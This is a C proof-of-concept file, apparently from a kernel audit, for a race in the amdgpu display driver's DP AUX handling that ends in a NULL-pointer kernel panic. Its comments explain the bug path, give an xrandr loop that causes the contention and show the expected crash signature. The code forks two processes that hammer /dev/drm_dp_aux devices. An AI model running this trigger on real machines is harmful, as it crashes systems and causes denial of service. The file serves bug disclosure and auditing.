DF-4555 / trigger.c
/* * DF-4555 trigger โ conceptual, hardware-gated. * * On a machine with an AMD GPU (amdgpu DC) + DisplayPort sink, force * concurrent AUX traffic so that two kernel threads contend for the same * aux engine / DDC GPIO pins at acquire() time. The loser thread must * hit one of the three failure exits in dce_aux.c acquire() * (is_engine_available / dal_ddc_open / acquire_engine), after which * dc_link_aux_transfer() still calls release_engine() -> * dal_ddc_close(NULL) -> near-NULL read -> panic. * * Concurrency sources that funnel into dc_link_aux_transfer(): * - MST sideband traffic (amdgpu_dm_mst_types.c dm_dp_aux_transfer) * - link-training DPCD reads/writes (dm_helpers_dp_*) * - EDID (re)reads on hotplug * * This program drives two concurrent DP AUX read streams from user space * using the drm_dp_aux character device. NOTE: on DragonFly the chardev is * compiled out (drm_dp_aux_dev.c is #if 0), so on DragonFly the same * contention is instead produced by hotplug/retrain events โ e.g. run this * while replugging a DP sink or flapping HPD with a marginal dongle: * * while :; do xrandr --query >/dev/null; done & # retrains/EDID storms * * Expected panic signature on an affected system: * fatal fault (offset of struct ddc::pin_clock, virtual addr ~0x10) * in dal_gpio_close+0x ... called from dal_ddc_close ... release_engine ... * * This file is documentation of the trigger; it cannot reproduce anything * on the audit guest (no AMD GPU present โ see ../env.txt). */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main(void) { #ifdef __linux__ char buf[16]; int fd1 = open("/dev/drm_dp_aux0", O_RDWR); int fd2 = open("/dev/drm_dp_aux1", O_RDWR); /* two threads, pread DPCD 0x00000 in a tight loop -> engine contention */ if (fd1 < 0 || fd2 < 0) { perror("open /dev/drm_dp_auxN"); return 1; } if (fork() == 0) { for (;;) pread(fd2, buf, sizeof(buf), 0x00000); } for (;;) pread(fd1, buf, sizeof(buf), 0x00000); #else fprintf(stderr, "DF-4555: hardware-gated trigger; see VERDICT.md " "(DragonFly has no dp_aux chardev; use HPD/retrain " "contention on an AMD GPU host)\n"); return 1; #endif } |